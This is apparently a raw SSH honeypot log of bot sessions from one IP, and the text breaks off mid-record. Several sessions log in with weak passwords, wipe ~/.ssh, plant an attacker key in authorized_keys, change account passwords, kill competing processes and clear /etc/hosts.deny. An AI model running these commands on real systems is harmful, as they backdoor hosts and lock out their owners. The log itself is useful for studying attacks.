{"id":"6883bcd1-8e79-4397-80a8-12b84f3da058","name":"restless-vaulted-mink","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":38594,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T10:14:53.144316+00:00","ended_at":"2026-08-26T10:15:01.153558+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"621dfc2f-f9ed-4584-aa13-aa1c3a8cb412","name":"thorny-lonesome-kingfisher","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":57234,"username":"contact","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":954,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T10:11:10.996306+00:00","ended_at":"2026-08-26T10:11:12.616810+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2116,"events":[{"seq":1,"at":"2026-08-26T10:10:33.145427+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T10:10:33.737340+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T10:10:50.124291+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T10:10:50.124956+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T10:10:51.532042+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nCfC0Qokkwz43\\nCfC0Qokkwz43\"|passwd|bash"},{"seq":6,"at":"2026-08-26T10:10:52.127003+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nCfC0Qokkwz43\\nCfC0Qokkwz43\\n\"|passwd"},{"seq":7,"at":"2026-08-26T10:10:52.720630+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T10:10:53.583122+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T10:10:54.580328+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T10:10:55.543516+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T10:10:56.138240+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T10:10:57.466306+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T10:10:58.420145+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T10:10:58.746653+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T10:10:59.339924+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T10:11:00.088217+00:00","kind":"output","latency_ms":null,"data":" 10:11:00 up 6 days, 7:01, 0 user, load average: 0.29, 0.34, 0.34\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T10:11:00.680135+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T10:11:01.087693+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T10:11:02.035737+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T10:11:02.370058+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T10:11:03.363333+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T10:11:04.064756+00:00","kind":"output","latency_ms":null,"data":"top - 10:11:04 up 6 days, 7:01, 0 user, load average: 0.29, 0.34, 0.34\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T10:11:05.060881+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T10:11:05.386248+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T10:11:06.381191+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T10:11:06.881210+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T10:11:07.474212+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T10:11:07.866224+00:00","kind":"output","latency_ms":null,"data":"contact"},{"seq":29,"at":"2026-08-26T10:11:08.462510+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T10:11:09.997574+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T10:11:10.996858+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T10:11:12.421652+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"contact","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"497cf8b4-bbce-489a-87ac-2d7dd506ced0","name":"boreal-distant-quail","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":34388,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T10:10:42.685919+00:00","ended_at":"2026-08-26T10:11:42.692228+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"5cc3a55f-3f3a-409b-ab7e-098f33cc33bb","name":"fringed-vivid-raven","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":57248,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T10:10:34.103396+00:00","ended_at":"2026-08-26T10:11:34.106752+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"b33232f9-4f46-4df0-a678-2c4b872f85c7","name":"forlorn-idle-tapir","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":35348,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":587,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T10:06:36.905884+00:00","ended_at":"2026-08-26T10:06:37.685000+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2159,"events":[{"seq":1,"at":"2026-08-26T10:06:13.530689+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T10:06:14.115018+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T10:06:25.985180+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T10:06:25.986226+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T10:06:26.571803+00:00","kind":"input","latency_ms":null,"data":"echo \"root:GGBWiBdpzruh\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T10:06:27.157521+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T10:06:27.742333+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T10:06:27.743025+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T10:06:28.329958+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T10:06:29.022255+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T10:06:29.610695+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T10:06:30.149224+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T10:06:30.741563+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T10:06:30.742067+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T10:06:31.329142+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T10:06:31.329557+00:00","kind":"output","latency_ms":null,"data":" 10:06:31 up 6 days, 6:56, 0 user, load average: 0.35, 0.4, 0.29\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T10:06:31.914793+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T10:06:31.915247+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T10:06:32.500822+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T10:06:32.501583+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T10:06:33.447341+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T10:06:33.448174+00:00","kind":"output","latency_ms":null,"data":"top - 10:06:33 up 6 days, 6:56, 0 user, load average: 0.35, 0.4, 0.29\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T10:06:34.032006+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T10:06:34.032596+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T10:06:34.620113+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T10:06:34.621015+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T10:06:35.206614+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T10:06:35.207400+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T10:06:35.792726+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T10:06:36.317454+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T10:06:36.906684+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T10:06:37.500170+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"P@s$w0rd","method":"password","accepted":true,"tier":"other"}]} {"id":"d0f18b3a-dac2-4913-a65d-045de054620d","name":"marine-earnest-penguin","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":54754,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T10:06:24.561905+00:00","ended_at":"2026-08-26T10:06:25.801967+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"cd8f2d45-2149-4a9b-b074-590d4da2371f","name":"bitter-rapid-heron","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":35364,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T10:06:14.480027+00:00","ended_at":"2026-08-26T10:07:14.485356+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"f2ce7150-0e49-4b91-9027-0bd076c2fad5","name":"ginger-glacial-dingo","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":35730,"username":"stepan","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":590,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T10:02:17.929850+00:00","ended_at":"2026-08-26T10:02:18.606257+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2103,"events":[{"seq":1,"at":"2026-08-26T10:01:52.810342+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T10:01:53.398676+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T10:02:04.789301+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T10:02:04.789851+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T10:02:05.377919+00:00","kind":"input","latency_ms":null,"data":"echo -e \"stepan123\\nvLfSjAW5tGoj\\nvLfSjAW5tGoj\"|passwd|bash"},{"seq":6,"at":"2026-08-26T10:02:06.364052+00:00","kind":"input","latency_ms":null,"data":"echo \"stepan123\\nvLfSjAW5tGoj\\nvLfSjAW5tGoj\\n\"|passwd"},{"seq":7,"at":"2026-08-26T10:02:06.954565+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T10:02:06.955207+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T10:02:07.542568+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T10:02:08.098227+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T10:02:09.090082+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T10:02:09.589094+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T10:02:10.578443+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T10:02:10.578874+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T10:02:11.169823+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T10:02:11.170156+00:00","kind":"output","latency_ms":null,"data":" 10:02:11 up 6 days, 6:52, 0 user, load average: 0.28, 0.2, 0.33\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T10:02:11.758655+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T10:02:11.759265+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T10:02:12.753774+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T10:02:12.754587+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T10:02:13.339537+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T10:02:13.340305+00:00","kind":"output","latency_ms":null,"data":"top - 10:02:13 up 6 days, 6:52, 0 user, load average: 0.28, 0.2, 0.33\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T10:02:13.929665+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T10:02:13.930235+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T10:02:14.519179+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T10:02:14.519760+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T10:02:15.108159+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T10:02:15.108755+00:00","kind":"output","latency_ms":null,"data":"stepan"},{"seq":29,"at":"2026-08-26T10:02:16.056085+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T10:02:16.942496+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T10:02:17.931250+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T10:02:18.421265+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"stepan","password":"stepan123","method":"password","accepted":true,"tier":"other"}]} {"id":"aede5f06-a969-4bc3-a25e-21135e6638fb","name":"placid-velvet-firefly","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":52010,"username":"stepan","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T10:02:02.776224+00:00","ended_at":"2026-08-26T10:02:04.603903+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"stepan","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a605a55b-8529-40a4-b928-987073ebac99","name":"creaky-cheerful-skink","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":35738,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T10:01:53.766089+00:00","ended_at":"2026-08-26T10:02:02.362518+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"3e34fd0d-1ee6-47ca-a1e7-be5608eb3a40","name":"wiry-glacial-lorikeet","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":55466,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T09:57:28.517368+00:00","ended_at":"2026-08-26T09:57:37.084110+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"4a478ab2-ed8f-4c13-9f2a-e0e09322a336","name":"amber-glacial-bushbaby","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":57736,"username":"fedora","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":591,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T09:53:36.137746+00:00","ended_at":"2026-08-26T09:53:36.915615+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2092,"events":[{"seq":1,"at":"2026-08-26T09:53:12.981200+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T09:53:14.396523+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T09:53:24.743647+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T09:53:24.744521+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T09:53:25.332156+00:00","kind":"input","latency_ms":null,"data":"echo -e \"password\\nD1Z5N6zQRsSE\\nD1Z5N6zQRsSE\"|passwd|bash"},{"seq":6,"at":"2026-08-26T09:53:25.921529+00:00","kind":"input","latency_ms":null,"data":"echo \"password\\nD1Z5N6zQRsSE\\nD1Z5N6zQRsSE\\n\"|passwd"},{"seq":7,"at":"2026-08-26T09:53:26.513544+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T09:53:26.514101+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T09:53:27.106240+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T09:53:27.652573+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T09:53:28.242694+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T09:53:28.937391+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T09:53:29.529806+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T09:53:29.530439+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T09:53:30.121572+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T09:53:30.122079+00:00","kind":"output","latency_ms":null,"data":" 09:53:30 up 6 days, 6:43, 0 user, load average: 0.29, 0.31, 0.29\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T09:53:30.711718+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T09:53:30.712272+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T09:53:31.699625+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T09:53:31.700156+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T09:53:32.291084+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T09:53:32.291557+00:00","kind":"output","latency_ms":null,"data":"top - 09:53:32 up 6 days, 6:43, 0 user, load average: 0.29, 0.31, 0.29\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T09:53:32.885088+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T09:53:32.885439+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T09:53:33.472704+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T09:53:33.473152+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 